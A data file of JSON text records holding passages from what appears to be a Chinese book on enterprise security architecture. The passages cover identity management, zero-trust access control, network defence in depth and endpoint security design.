    {"text": "2.数据驱动的身份大数据分析 ● 终端环境感知 通过在终端安装的插件对终端环境、运行状态、风险行为进行持续采集和分析，从而对终端健康度进行评估，将其作为持续信任评估的输入。 ● 持续信任评估 根据身份、权限、终端环境感知、访问日志等信息进行综合分析，采用大数据分析和人工智能技术，对发起访问请求的人员和终端进行综合评估，计算信任等级，以支撑动态访问控制平台实现动态权限的调整。"},
    {"text": "● 风险策略编排 汇聚来自外部威胁检测平台等的风险事件输入，基于策略进行编排并在策略评估满足时，对动态访问控制平台、身份基础设施及其他联动的安全产品下发控制指令。"},
    {"text": "● 身份可视化 基于身份大数据进行分析并以可视化的方式呈现，可对全平台的身份、权限、访问、风险信息进行直观展现。 ● 身份大数据管理 将与身份相关的数据进行集中化的管理和维护，包括地区、使用行为、应用资源等，并基于大数据技术自动化分析与身份相关的数据。"},
    {"text": "分析用户系统环境、应用访问流量、认证偏好、访客属性及用户活跃度、访问频次和访问时长等有价值的信息，协助用户进行持续的风险信任评估。"},
    {"text": "● 权限分析 基于对等组分析等模型，对身份基础设施的权限库进行挖掘分析，若发现不符合最小权限的原则，或违背职责分离原则的权限，则进行自动调整。"},
    {"text": "3.基于零信任架构的动态访问控制 基于零信任架构的动态访问控制架构如图5.4所示。 图5.4 基于零信任架构的动态访问控制架构 ● 自适应多因子认证 提供用户名密码、动态口令、二维码、推送等认证能力，也可与外部的人脸、声纹等多因子认证能力结合，提供符合“所知、所持、所有”的多因子认证机制。"},
    {"text": "● 动态权限调整 采用RBAC和ABAC结合的授权方式，既兼顾RBAC的简单、明确的特性，也具备ABAC的灵活性，以实现基于主体属性、客体属性、环境风险等因素的动态授权。"},
    {"text": "● 特权访问 为了加强对特权用户和特权访问行为的管理，支持在逻辑上把特权用户、特殊权限和普通权限、普通用户区分开，对应用的访问采用更加严格的特权访问控制机制。 针对特权用户和特权访问，支持特权访问策略管理、特权用户发现与梳理、特权密码保护、特权操作提权、特权会话记录、监控和特权威胁分析等特权管理功能。"},
    {"text": "4.全场景业务安全访问控制 ● 应用代理 应用代理可将代理的应用默认隐藏在代理网关后，并在代理后进行集中授权，同时可支持令牌传递，实现单点登录。"},
    {"text": "● API代理 API代理可将代理的API服务默认隐藏在代理网关后，然后对API调用进行接管并集中强制动态授权，同时通过令牌传递技术，可实现应用级+用户级的双重身份认证。"},
    {"text": "● 运维代理 运维代理可将代理的运维资产默认隐藏在代理网关后，然后对运维操作进行细粒度的指令集访问控制，同时支持对运维操作进行录像和回放。"},
    {"text": "政企可以将身份安全定位为信息化和网络安全的双基础设施，采用基于数据驱动的身份管理模式，结合零信任架构的访问控制技术路线，建设身份管理与访问控制平台。 新一代身份安全的建设需要规划先行，然后需要结合业务的安全愿景与现状，分解建设任务并逐步建设，建设要点如下。 ● 建设身份管理与访问控制平台，承载统一的数字身份视图，实现身份管理、账号管理、权限管理、资源管理等功能，覆盖人员、设备、应用等各类实体的数字身份及其权限管理。 ● 聚合人员、设备、程序等主体的数字身份、认证因子等数据和IT服务资源属性、环境属性、数据资源安全属性等数据，结合访问控制策略数据，形成企业级的统一身份视图，实现人员、设备、接口、应用的全面身份化。"},
    {"text": "● 以“零信任”的模式将API访问控制、运维访问控制、远程接入控制等访问控制组件部署到所有工程中，通过动态访问控制策略引擎向部署到各工程中的访问控制组件和集成在IT服务内部的策略执行组件下发动作指令，实现基于“零信任”的动态、精细化的访问控制能力。"},
    {"text": "● 针对云、大数据平台、应用系统的内部服务与资源，建立基于资源属性的数字身份统一授权管控策略，强化系统运维、权限变更等特权操作管控，实现全场景人机交互、系统间互访的统一授权管理，以及基于零信任的细颗粒度访问控制。 ● 建设零信任业务访问控制平台，与云平台、大数据平台、物联网平台、开放API平台、容器编排等IT基础设施内置的策略执行点实现聚合，提供动态访问控制能力。 ● 建设零信任特权访问控制平台，覆盖运维、DevOps、云运维等场景，实现基于零信任的动态特权访问管理。 ● 与特权管理系统集成，强化对系统运维、系统变更、账号创建等特权操作的管控。"},
    {"text": "建立面向应用系统的分布式用户访问控制体系，并与大数据、云计算等IT服务中的访问控制策略执行点结合，形成数字身份细颗粒度访问控制的全面覆盖。"},
    {"text": "● 建设身份安全开放平台，与工单、HR、运维管理等IT系统集成联动，形成身份安全运行流程，提升管理效率，优化运行效果； 与态势感知及安全运营平台集成，提供身份与行为数据的动态查询和集中运营，实现管理与运营的自动化。 ● 制定身份安全管理办法和实施细则，加强身份安全教育，为身份安全的集成及优化提供依据和指导。 最后，务必牢记新一代身份安全体系极强的内生安全属性，必须结合业务场景，从架构视野出发进行规划和建设，切记不可盲目地进行产品堆砌。 5.3.2 关注重点 身份安全领域作为信息化和安全运营的双基础设施，其能力覆盖企业信息化建设的方方面面。 在建设中必须以体系化思维进行规划，避免出现由于缺乏体系性、前瞻性、科学性而导致的能力缺失、效能低下等问题，因此必须重点关注以下内容，确保身份安全能力得到有效构建。 ● 要在满足企业现有的管理流程的基础上实现管理提升，身份管理与访问控制平台需要根据企业的实际需求进行量身定制。 身份管理团队在平台建设的同时，还需要协助安全管理部门制定企业自身的身份及账号管理规范等制度标准。 ● 身份管理团队需要与业务部门进行更紧密的沟通协调，同时使业务部门和IT团队尽早参与到系统的建设过程中并深入评估对IAM（身份访问与管理）的需求。"},
    {"text": "与业务系统的沟通内容包括系统集成工作全流程，如管理需求确认、流程设计、数据梳理、集成测试联调和上线切换，避免由于性能瓶颈、区域自建或者网络隔离需求导致“烟囱式”的IAM建设。"},
    {"text": "第6章 重构企业级网络纵深防御 6.1 数字化转型与业务发展的新要求 6.1.1 新技术新业务发展挑战 数字化转型带来的新技术的应用和新业务的发展，驱动着企业网络进一步升级演进，网络环境变得更加复杂与开放，给网络安全防御提出了更高的要求。"},
    {"text": "● 互联网接入风险增加 新兴的数字化业务大多通过互联网来落地实现，更多的合作伙伴通过互联网进行数据交互，移动生产、远程办公、IT外包厂商等通过互联网接入企业内部网络的情况将更加频繁。 企业更依赖于互联网开展业务，这在开放的同时可能引入更多的安全威胁，使得企业网络的互联网接入风险日趋严重。 ● 网络出口边界增多 工业生产网、物联网、混合云、卫星通信等技术的应用，带来了更多类型的网络出口，传统的网络间物理隔离的方式被逐渐打破，企业网络边界变得更加模糊，网络外延空间更广，这给边界安全防护措施的部署、安全策略的设计实施带来了更大的挑战。"},
    {"text": "● 广域网结构复杂 随着企业的业务发展，IT基础设施向更广泛的区域延伸。 企业广域网运用更多的方式组网，大量分支机构通过多种方式接入企业网络，使得广域网结构更加复杂，接入边界激增且业务访问关系交错。 安全威胁进入企业网络后，通过广域网在企业内部的传播范围更广，影响范围更大。 6.1.2 企业面临更复杂的网络环境 当前国家间的网络环境渐趋复杂，网络黑色产业持续活跃，出于政治目的、经济利益发起的有组织的网络攻击行动持续高发，其规模性、破坏性急剧上升。 恶意组织通过体系化的攻击，反复进行渗透和横向扩展，给企业造成大面积服务中断、系统破坏、敲诈勒索、敏感数据泄露等危害。"},
    {"text": "● 网络结构安全缺陷 网络安全域的划分较为粗放，缺乏进一步的内部细分及隔离措施，网络攻击面广，恶意入侵者突破网络边界后，可以在安全域内大范围横向移动，造成更大的破坏影响。 而企业未从全网角度统筹进行网络边界的整合，同类型的网络边界各自独立防护，安全防护能力不一致，安全建设投资大。 网络业务平面与管理平面未分离，无法充分保障管理通道资源的可用性，对资产自身的安全防护和运维管控能力较弱。 ● 网络边界防御纵深不足 网络边界安全防护措施部署不完善，未全面覆盖边界的各种访问连接场景，无法满足最新的《信息安全技术 网络安全等级保护基本要求》《关键信息基础设施安全保护条例》等合规管控要求，存在安全检测和防护的盲区。 同时网络边界防御缺乏纵深，在第一层边界突破后，缺乏有效的第二层边界措施，无法形成真正的防御策略，难以抵御高级持续性威胁的攻击。 ● 广域网防御纵深不足 广域网汇聚节点缺乏安全防护措施，网络攻击面极广，分支机构到总部、分支机构间可以任意访问；"},
    {"text": "无法在广域网层检测网络威胁的活动情况，为全局态势感知提供数据支撑； 无法在广域网层遏制网络威胁的传播行为，全局限制网络威胁的影响范围。"},
    {"text": "随着链路带宽的增加，扩容成本随之增加，只能升级替换原有设备，无法弹性扩展安全能力； 无法按需编排调度网络流量，安全能力部署不灵活，实施难度大。 ● 运行管理效率低 全网大量的网络安全设备缺乏统一的运行管理措施，无法实现统一的资产管理、安全策略控制； 运行管理自动化的程度不高，无法规避人为误操作风险，整体效率较低。"},
    {"text": "因此传统的网络纵深防御机制，无法适应企业数字化转型中新技术应用和新业务发展的要求，无法抵御愈加严峻的有组织的体系化攻击，需要体系化重构企业级网络纵深防御机制，支撑企业的数字化转型战略。 6.2 如何重构企业级网络纵深防御 6.2.1 基本概念 企业级网络纵深防御是结合企业网络基础设施的现代化改造，基于面向失效的设计和能力导向的设计的总体思想，通过网络流量可视化、网络隔离细粒度化、场景覆盖全面化、网络防御纵深化、安全集群标准化、策略管理自动化等关键技术，采用集约化模式来构建多层次、协同联动的网络纵深防御体系。 6.2.2 设计思想 1.面向失效的设计 面向失效的设计是网络纵深防御的核心思想。"},
    {"text": "2.能力导向的设计 针对网络各边界节点的业务访问模式，采用标准化的网络纵深防御能力框架，有针对性地设计各类网络服务及通用安全能力，分析当前网络安全能力的差距，指导网络安全措施的建设部署，保障业务访问安全，满足合规管控要求。"},
    {"text": "6.2.3 总体架构 企业级网络纵深防御体系的总体架构主要包括以下几个部分（见图6.1）。 图6.1 企业级网络纵深防御体系架构图 ● 网络结构安全 以网络结构安全为基础，通过开展网络安全域划分、网络边界整合、管理网络建设等基础工作，来提高网络结构的安全性。 ● 网络边界纵深防御 以网络边界纵深防御为核心，完善网络边界纵深防御体系，针对网络不同访问场景，实现安全能力的全面覆盖、深度结合。 ● 广域网纵深防御 以广域网纵深防御为突破，在广域网汇聚层部署节点，增加广域网防御纵深，构建协同联动的多层防线，提升广域网的全局控制能力。 ● 安全防护集群 以安全防护集群为依托，设计标准化、模块化的网络安全防护集群，提供按需灵活编排调度、弹性扩展的安全能力，分别部署于网络各节点。 ● 运行管理 以运行管理为支撑，开展统一运行管理，覆盖网络各节点的安全防护集群，实现全局安全策略管理、运行状态监控及运维安全管控。 6.2.4 关键技术 ● 网络流量可视化 网络流量可视化是支撑网络纵深防御的重要基础。"},
    {"text": "通过在网络各节点部署流量分析措施，可实现全局网络流量数据的捕获、解密、处理和按需输出，统一支撑网络资产发现、网络安全威胁分析、网络行为审计、数据泄露检测等工作的开展。 ● 网络隔离细粒度化 全面梳理网络中的资产，根据资产暴露位置、业务功能、重要等级等属性，进行网络安全域的细粒度划分，实现功能组、工作负载级的网络隔离；"},
    {"text": "● 场景覆盖全面化 梳理网络边界的各种访问连接模式，针对每种模式的不同场景设计网络安全能力。 同时整合相同/相似连接类型的网络边界，收敛应用服务及接口的协议类型，统筹部署网络安全防护能力，全面覆盖网络边界的主要安全防护需求。 ● 网络防御纵深化 增加网络防御纵深，多层级部署防护措施，形成异构、协同联动的防护机制。"},
    {"text": "● 策略管理自动化 统一管理网络各节点的标准化安全防护集群，并通过北向接口的适配或改造，集中纳管已有的网络安全资源，实现网络安全防护策略的全局控制。 汇聚安全告警、网络流量、安全情报等信息，进行关联分析、智能推理、研判和决策，形成安全防护策略，并自动装配、下发执行，实现全局协同防护和联动。 6.2.5 预期成效 ● 全局可管 通过网络纵深防御建设，整合网络安全资源，实现全局网络安全能力的统一管理，保障全局网络安全防护策略的一致性，形成全局协同防护和联动响应机制，同时可以为态势感知提供全局网络数据支撑。 ● 合规可达 通过网络纵深防御建设，落实国家网络安全政策，强化企业网络安全合规管控要求，消除合规性风险。"},
    {"text": "● 风险可控 通过网络纵深防御建设，能够抵挡来自外部有组织的团体、拥有丰富资源的威胁源发起的恶意网络攻击，能够及时发现、检测网络攻击行为和处置网络安全事件，快速恢复大部分网络功能，充分保障企业网络安全有序运转。"},
    {"text": "1.资产识别 识别网络资产属性，梳理资产的访问关系，为网络结构安全和纵深防御设计提供重要信息支撑。 2.网络结构安全设计 以资产属性为基础开展网络安全域划分，并针对相同类型的边界进行整合，按需开展管理网络建设。 图6.2 企业级网络纵深防御的总体流程 3.网络纵深防御设计 综合网络结构、资产访问关系等要素，设计网络各节点纵深防御安全能力，包括网络边界纵深防御和广域网纵深防御两部分。 4.安全措施部署 根据网络各节点的纵深防御安全能力要求，分别设计各网络安全防护集群的安全措施组合及部署方式。 5.运行管理 针对全网的安全防护集群，开展安全策略管理、运行状态监控和运维管控等运行管理工作的统一设计。"},
    {"text": "安全域划分就是从安全角度将网络资产划分成不同的区域，开展针对性的隔离防护，收缩网络攻击面，限制网络威胁的影响范围，避免牵一发而动全身。 ● 划分原则 安全域的划分应综合资产属性、应用系统架构、网络架构、云平台架构、企业管理模式等信息。 通常情况下，安全域划分越精细，安全隔离防护成效越好，但相应的安全建设投资和运行管理工作量也会越大。 安全等级越高的系统，其安全域划分应越精细，以充分保障重要系统的安全。"},
    {"text": "▷ 安全域：根据资产在网络中的暴露位置、信息系统的类别等，进行域级划分，例如DMZ、应用、数据、开发测试、管理等域。 ▷ 安全子域：在同一个域内，根据资产所属的信息系统进行子域级划分。"},
    {"text": "图6.3 安全域划分方法 ● 应用分层架构 从安全角度出发，建议将常见的B/S（浏览器/服务器）架构应用划分为界面层、业务逻辑层、数据访问层和数据服务层，每一层划归入一类安全域，实施域间隔离防护，如图6.4所示。 图6.4 应用分层架构 ● 网络微隔离 在云平台环境中，在划分“安全域——安全子域——功能组”的基础上，可以以虚拟机、容器等工作负载为单位进一步划分，进行网络微隔离，实现网络信任域的最小化，全面降低东西向的横向穿透风险。 2.网络边界整合 在安全域划分的基础上，识别梳理网络各处边界的连接模式，在保障业务正常访问的前提下，整合同类型的网络边界，减少网络互联接口的数量，形成统一的安全控制点，集中部署网络安全防护措施，实现网络安全能力的集中覆盖，减少总体安全建设投资，达到“一夫当关，万夫莫开”的管控成效。 ● 整合原则 从企业角度综合考虑网络边界类型、业务影响、网络改造难度、安全建设投入、企业管理模式等因素，统筹开展网络边界整合工作。 针对高风险边界，例如互联网服务接入、互联网办公出口、外部网络接入、管理网络入口等，优先开展网络边界整合整改工作，集中安全能力。"},
    {"text": "▷ 总部边界整合：全企业整合在总部的边界，包括互联网接入（互联网用户访问、远程办公接入、IT承包商接入、基于互联网的合作伙伴接入等）、外部网络（合作伙伴、主管部门等外部专线）、公有云接入等。 总部边界整合包括互联网办公出口、终端接入、跨网访问（企业内部生产网、办公网等不同网络间的边界）、总部级数据中心等。 ▷ 区域边界整合：全区域整合在区域中心的边界，包括互联网办公出口边界。 区域边界整合包括终端接入、跨网访问、区域级数据中心边界等。 图6.5 网络边界整合方法 ▷ 分支机构边界整合：在分支机构内主要实施终端接入边界整合。"},
    {"text": "3.管理网络建设 通过建设独立的管理网络，实现业务平面与管理平面的分离，可以充分保障管理通道资源的可用性，使得在业务网络发生故障、链路拥塞等情况下，仍然能通过专用管理网络开展管理工作；"},
    {"text": "● 建设原则 应汇总网络、安全、云平台、应用等管理需求，结合网络安全域划分及边界整合工作，综合网络改造难度、安全建设投入、企业管理模式等因素，统筹开展企业各级网络的管理网络建设。"},
    {"text": "▷ 配合管理网络的建设，建设管理终端接入子域，与办公、生产等终端接入子域进行物理隔离，管理终端接入子域则通过专用链路接入管理网络。"},
    {"text": "6.3.4 网络纵深防御设计 在网络安全域划分及边界整合的基础上，设计网络各边界节点的安全能力，构建网络防御纵深。 1.网络安全能力框架 基于安全识别、防护、检测、响应和恢复类的基础安全能力，针对不同业务访问场景的安全防护及合规管控需求，组合成各类网络服务及通用安全功能组，形成标准化的网络纵深防御安全能力框架，支撑网络各边界节点的安全能力设计（见图6.6）。 2.网络安全能力设计 将资产识别中的访问关系梳理结果映射到网络拓扑结构中，形成网络各边界节点的业务访问场景。 针对不同的业务访问场景，依据网络安全能力框架设计相应的安全能力，形成本边界节点的网络安全能力集合。"},
    {"text": "图6.6 网络纵深防御安全能力框架 表6.1 典型边界的安全能力 续表 续表 3.网络安全能力差距分析 识别当前网络各边界节点的安全能力现状，对照上述相应的网络安全能力设计，分析当前网络各边界节点的安全能力差距，指导网络安全防护措施的选择与部署。"},
    {"text": "4.网络边界防御纵深构建 结合应用系统的分层架构设计，将应用组件划分到不同网络安全域。 在各层安全域的边界上，针对不同的业务访问场景，依据网络安全能力框架设计相应的安全能力，部署网络安全防护措施，形成攻击路径上的层层防线。 实现网络边界多层纵深防御，全面收缩应用系统攻击面，避免因应用系统某一个组件的失陷，造成整个应用系统被入侵控制，减少敏感数据泄露的可能性。"},
    {"text": "图6.7 网络边界防御纵深架构 ● 措施异构 不同防线上的同类安全措施在工作机制（如黑/白名单）、检测方式（如特征匹配、全流量分析）、品牌等维度上实现异构，避免攻击者利用相同的手段穿透所有防线。"},
    {"text": "● 协同联动 整合不同防线上的安全措施，实现安全策略的统筹部署（如黑白结合、粗细结合）、安全数据的整合分析（如态势感知）、安全事件的联动响应（如SOAR）。"},
    {"text": "5.广域网防御纵深构建 在常规的分支机构及总部边界安全防护的基础上，建设广域网区域中心安全防护点，增加广域网防御纵深，形成“分支机构——区域中心——总部”的三层纵深防御架构，各层防护措施间协同联动，异构互补，可以全面收缩广域网攻击面，防范跨区域的网络攻击，限制网络威胁的影响范围，增强对总部及区域数据中心的安全防护。"},
    {"text": "图6.8 广域网纵深防御的整体架构 ● 区域中心安全防护点 在区域中心安全防护点上部署防火墙、网络流量加解密、网络入侵防御、全流量威胁检测、文件沙箱、数据泄露检测等措施，对本区域中分支机构的广域网上行流量进行防护检测，并由企业总部统一进行管理维护，实现广域网汇聚层的全局流量控制，为安全态势感知提供广域网全局数据支撑。 ● 分支机构安全接入点 统一规划各分支机构安全接入点的安全能力要求，部署防火墙、网络入侵防御、全流量威胁检测、数据泄露检测、漏洞扫描等措施。 保障分支机构安全接入企业广域网，减少网络威胁的引入。 6.3.5 安全措施部署 设计标准化、模块化的网络安全防护集群，提供流量清洗、网络访问控制、加解密、入侵防范、恶意代码防范、应用安全防护、安全代理、数据泄露检测、全流量检测、攻击诱捕等安全能力，通过NFV、SDN等技术实现安全能力服务化、弹性扩展和灵活调度编排，适配网络各边界节点的安全能力设计需求。"},
    {"text": "表6.2 网络安全能力-安全措施的映射 续表 2.基于SD-NGFW的网络安全防护集群 SD-NGFW（软件定义下一代防火墙）是在NGFW（下一代防火墙）的基础上，通过SDN技术提供灵活、高效的服务链编排能力，并以NFV方式扩展多种网络安全组件，从而面向企业网络提供集成化的高性能安全网关解决方案。 基于SD-NGFW构建网络安全防护集群，能够高度集成安全功能、弹性扩展处理能力，能适应复杂网络的组网环境，可以满足多种场景的网络安全防护需求。 ● SD-NGFW和安全硬件集群 在实现NGFW功能的基础上，通过其服务链编排能力，将流量调度至外部的其他安全组件进行检测，并完成转发。"},
    {"text": "● 独立的盒式SD-NGFW SD-NGFW基于NFV扩展多种安全组件，并基于自身的服务链编排能力将流量调度至内置的多类安全组件以完成检测及转发；"},
    {"text": "图6.9 基于SD-NGFW的网络安全防护集群 3.基于SD-WAN的分支机构接入 安全SD-WAN（软件定义广域网）为多分支机构、数据中心互联、混合云等场景的用户提供广域安全组网方案，可以解决网络运维成本高、广域组网复杂等问题，实现灵活便捷、按需定制的网络连接，提供弹性扩展的安全防护能力，提升业务体验，保障业务安全，降低TCO（总体拥有成本）。"},
    {"text": "4.网络流量分析 全面捕获网络流量，按需开展资产发现、网络威胁检测、数据泄露检测和网络行为审计等工作，增加网络流量的可见性，为态势感知提供全局网络流量数据，支撑网络纵深防御体系的持续优化。"},
    {"text": "在传统环境下，通过流量镜像、链路分光等方式，捕获网络流量，经过分路器聚合处理后，按需分发至各类网络流量分析设备。 ● 网络流量加解密 通过SD-NGFW、LB、专用加解密设备，对网络加密流量进行解密还原和加密回注，为网络流量分析设备提供明文流量数据。"},
    {"text": "● 网络威胁检测 通过专用硬件、NFV方式部署全流量威胁检测设备，检测和发现已知的高级网络攻击和未知的新型网络攻击。 ● 数据泄露检测 通过专用硬件、NFV方式部署数据泄露防护设备，监测敏感数据的流转情况，对违规传输敏感数据的行为进行告警。 ● 网络行为审计 通过专用硬件、NFV方式部署网络行为审计设备，通过协议还原，监测记录应用访问、数据库访问、互联网访问等行为。 5.威胁情报应用 通过威胁情报的应用，可以全面提升网络威胁检测识别的效率，增强网络纵深防御成效。"},
    {"text": "基于精准、热度的威胁情报信息，在网络安全设备上配置黑名单、热补丁等措施，对目前的流行、突发事件进行精准预防，减少安全事件发生的可能性。"},
    {"text": "全面监测网络流量，获取出站连接的域名或IP，与威胁情报的C&C域名和IP进行关联比对，及时发现失陷主机，经过人工审核后，调整防火墙策略，阻断失陷主机与外部控制端的通信。"},
    {"text": "6.3.6 运行管理 针对各节点的网络安全防护集群，建设统一的运行管理平台，实现安全策略全生命周期的自动化管理，支撑态势感知平台安全事件的响应处置。 1.安全策略管理 实现网络安全防护设备的集中策略管理，包括安全策略的采集、解析、可视化展现、装配、审核、下发执行和备份等。 同时结合网络流量分析，统计网络各边界的访问关系情况，自动与现有的策略配置进行对比，梳理安全策略有效性问题，支撑策略优化工作。 2.运行状态监控 实现网络安全防护设备运行状态的集中监控管理。"},
    {"text": "基于零信任架构和ABAC模型，与身份管理及访问控制平台对接，实现运维管理人员的统一身份认证、授权和操作行为审计，实现特权账号的全生命周期管理、密码托管和使用申请审批。"},
    {"text": "第7章 数字化终端及接入环境安全 7.1 数字化转型与业务发展的新要求 7.1.1 新技术新业务发展挑战 在组织进行数据化转型的过程中，大量新型数字化基础设施的建立，将会逐渐改变IT设备之间、员工与IT设备之间的交互方式，这些数字化转型的背后需要具有良好体验的个人工作空间作为支撑。"},
    {"text": "工作空间的用户体验看似不重要，但却对数字化转型产生极大影响的挑战，而终端则是个人工作空间的重要载体，也在很大程度上决定了实际的体验效果。"},
    {"text": "1.数字化发展将形成不同形态的数字化终端 过去一直有一种观点，即大量计算工作的需求未来将越来越多地转移到数据中心，对本地终端的性能和配置的要求会逐渐降低。"},
    {"text": "本地的瘦客户端并不需要大量的计算性能，实际的计算和存储都通过网络发生在远程的数据中心虚拟桌面上，特别在网络吞吐不断增加和延时不断降低的情况下。"},
    {"text": "但本书的观点是，这并不是所有终端的未来场景，数字化不断变革对本地计算、边缘计算提出了更高的要求，一方面计算能力的前置能解决体验问题，大量应用程序需要在本地完成计算工作，以便提供效率更高的交互式响应；"},
    {"text": "早些年，本地计算资源相对匮乏，甚至存在多个人使用一个终端的情况，而今天大多数员工都拥有多台终端，比如办公室固定终端、移动PC终端、手机终端、平板终端、虚拟化终端等。"},
    {"text": "过去在一个严格管理的组织内，工作必须由组织提供的终端资产完成，个人终端资产不能参与到工作中，企业终端资产不能用于个人用途。 但如今组织内可能会存在企业终端用于个人目的（常见于办公网移动PC终端），或者个人终端用于企业目的（常见于个人移动手机终端）的情况，还有部分第三方不可管理终端。"},
    {"text": "7.1.2 企业终端攻防形势与传统安全措施的局限 终端安全是企业安全能力的一道重要屏障，原因是终端常常被攻击者作为入侵企业数据中心的跳板。"},
    {"text": "一般情况下，组织对数据中心外部的安全相对更加重视，会增加数据中心被入侵的难度，甚至部分企业的数据中心只服务于内部组织，攻击者无法直接访问。"},
    {"text": "一方面，近年来由于数字货币、匿名支付的发展，大量的勒索病毒攻击频发，这些攻击不一定需要非常清晰的目标，直接通过无差别攻击会产生更大的收益。"},
    {"text": "另一方面，在数字化背景下大量终端需要接入企业资源，如何确保接入设备不被攻击者仿冒，以及设备所关联的用户不被仿冒，这是终端除自身安全外需要重点考虑的问题，也是大量移动终端面对的安全挑战。"},
    {"text": "过去常见的终端安全解决方案都是相互孤立的，缺乏真正意义上整体思考终端安全的需求、终端所需的完整的安全能力、统一的跨平台管控手段、一致的安全管控策略、有效适应终端资产所属场景的管理模式，更没有形成可以灵活编排的终端安全策略机制，也未考虑个人工作空间的安全互联问题，这些都在极大程度上制约了组织在数字化转型上的用户体验，数据中心的大量资源投入可能最终并未使终端用户感受到直观的变化。"},
    {"text": "7.2 什么是数字化终端及接入环境安全 7.2.1 基本概念 数字化终端及接入环境安全是对各类企业接入终端安全纳管、终端自身安全、终端协同安全、终端安全运行支撑以及接入环境安全的综合定义。"},
    {"text": "数字化终端及接入环境安全是组织在信息化基础设施及网络末梢安全建设中的重点工作。 理解数字化终端及接入环境安全概念的前提是理解其安全需求，首先，是终端的安全需求，终端本质上是一个面向最终用户计算、存储和网络接入能力的集合。 所有与计算、存储、网络接入相关的安全能力都需要在这个载体中得以体现，如恶意代码查杀、入侵防护、访问控制、行为审计、数据安全等。"},
    {"text": "其次，终端也是数据中心计算、存储和网络服务的延伸，组织只将安全资源投入到数据中心是远远不够的，被保护数据从数据中心到终端的延伸，一定会导致安全问题的延伸，所以终端安全不仅需要考虑自身的安全问题，还需要考虑与组织整个安全体系的融合，而不是将终端安全做为孤立的一部分。 最后，终端所处的使用环境在一定程度上决定了终端自身的安全性，而这些环境的安全管理通常与终端的安全管理部署在同一位置，因此数字化终端的安全设计不能脱离接入环境，接入环境安全或者末梢网络安全也需要纳入整个终端安全概念体系。 7.2.2 设计思想 数字化终端及接入环境安全的设计是一个复杂的话题，在不同的场景、终端类型、资产所属下，管理方法和安全目标的定义都可能存在一些差异性。 但是在数字化转型过程中，组织的管理和安全保障的体系框架是相似的，所以分别从数字化终端纳管、数字化终端安全防护、网络接入环境安全和统一安全运行支撑4个维度进行设计。 1.数字化终端纳管设计 终端纳管能力的设计又可以从以下4个方面进行考虑。"},
    {"text": "首先，是终端在组织内的注册，包括与关联使用者的绑定、部门所属等。 注册的目标在于建立组织、人与终端资产的关系，为后续终端的集中管理提供信息支撑。"},
    {"text": "其次，由于终端资产存在大量变更需求，且需要纳入CMDB（Configuration Management Database，配置管理数据库）集中管理，因此对组织所拥有的资产进行持续性跟踪就显得尤为重要。"},
    {"text": "再次，是使终端具备能够在组织内快速接入资源的能力，通常也称为使能（Enable），旨在为终端工作空间提供各类办公工具和访问入口，为不同人员访问相关业务配备一切所需的资源，包括对浏览器的配置、常用应用的访问链接、应用软件的本地部署、企业应用市场甚至是软件授权管控等。"},
    {"text": "这些工作无法全部在终端操作系统的构建阶段完成，因为工作空间的资源通常是动态变化的，静态的操作系统模板会降低资源配置管理的灵活性。"},
    {"text": "移动外设通常作为组织数据摆渡的重要桥梁，也需要纳入企业资产管理，但外设的特点在于通过终端间接被管理，实际对外设产生管理行为的是终端自身，所以也归为终端纳管的一部分。 整个终端纳管的设计目标是建立组织对终端设备及资产的可视化管控、所需资源的快速部署，同时也是终端安全能力得以实现的重要基础。"},
    {"text": "2.数字化终端安全防护设计 终端安全技术防护设计需要考虑四大关键领域，分别是终端自身安全能力、终端协同安全能力、终端安全数据支撑能力和终端策略编排能力。 终端自身安全是为了保障终端从硬件到系统乃至应用安全的基础措施，需要从架构安全、被动安全、积极防御3个阶段考虑安全能力的设计。 终端协同安全能力则是终端安全延伸所带来的挑战，从身份识别到可信接入、从可信接入到安全隔离、从安全隔离到行为审计、从行为审计到数据监控。"},
    {"text": "终端安全数据支撑能力则是自身安全状态与所处环境的全景描述，而终端策略编排能力则是终端能力协同的关键，例如在发现终端安全状态或环境发生改变时自动使用动态响应策略完成主动防护的动作。 终端策略编排能力是自动化安全响应的基础。"},
    {"text": "在此基础上，终端安全还需要考虑将一部分安全所需的计算能力外延至终端外部，原因是确保安全能力的承载不会大量占用终端自身资源从而降低用户体验，而用户体验是一切安全能力落地的前提。"},
    {"text": "当组织存在大量小型分支机构时，接入网络和终端很有可能是合并管理的，由不同的分支机构完成所属环境的分布式管理，完全集中的安全设计反而会带来复杂性。"},
    {"text": "4.统一安全运行支撑设计 统一安全运行支撑设计是为了有效支撑运营工作，从安全设计的角度需要分别考虑运维管理的分布需求、事件调查的流程需求、威胁鉴定的工具需求、处理过程的自动化需求。"},
    {"text": "组织执行终端安全运行管理时，需要从标准纳管、分权操作、分级管控、集中分析、全局可视几个维度出发，充分利用终端的安全能力和数据资源，在构建统一的安全运行管理支撑能力的基础上，一方面完成终端场景的安全保障需求，另一方面实现与企业数据安全、系统安全、身份安全、行为安全等其他安全运营目标的有效衔接，进而从容应对组织数字化转型过程中不断变化的边缘侧网络安全风险。 7.2.3 总体架构 综合上述设计思想，要实现数字化终端及接入环境安全建设，提升企业网络终端整体安全能力水平，需要建设终端系统安全栈、末梢网络安全栈和终端统一安全运行支撑等三大体系，并且建立与外部系统的有效协同关系，形成安全共同体，如图7.1所示。 图7.1 数字化终端及接入环境安全总体图 建设终端系统安全栈，实现终端上各种安全保障及服务能力，一方面是通过网络互联平面与末梢网络安全栈形成边缘侧的安全防御整体，另一方面是通过管理控制平面与终端统一安全运行支撑，终端提供具体的执行能力。 终端系统安全栈的建设能力是企业终端安全的核心建设任务。 建设末梢网络安全栈，能够实现以安全策略强制执行为目标的终端安全接入控制能力和末梢网络外发流量及内容的控制能力，实现终端所在的末梢网络环境的安全。 建设终端统一安全运行支撑能力，是要建设以用户为对象的终端分级管理控制平台，通过联通PC终端、移动终端、云桌面、专用终端的控制平面，实现终端管理过程中服务能力、终端覆盖、数据信息三方面的统一。 建设与外部安全系统的有效协同关系，与身份管理与访问平台、安全态势感知平台、内部威胁感知平台、系统安全平台、数据安全管理与风险分析平台等五大平台的联通，形成安全能力体系化聚合，实现终端安全管理与整个安全体系的关联，形成安全统一架构。"},
    {"text": "7.2.4 关键技术 1.终端安全策略编排 策略编排是自动化响应的关键手段，是降低安全运行维护成本、提高安全运行效率的主要方法。 终端安全策略编排，是协同终端各类安全能力的核心，也是SOAR（Security Orchestration，Automation and Response，安全编排、自动化和响应）技术在终端安全场景下的落地，可使终端安全策略的执行根据终端环境与状态的变化进行自适应。"},
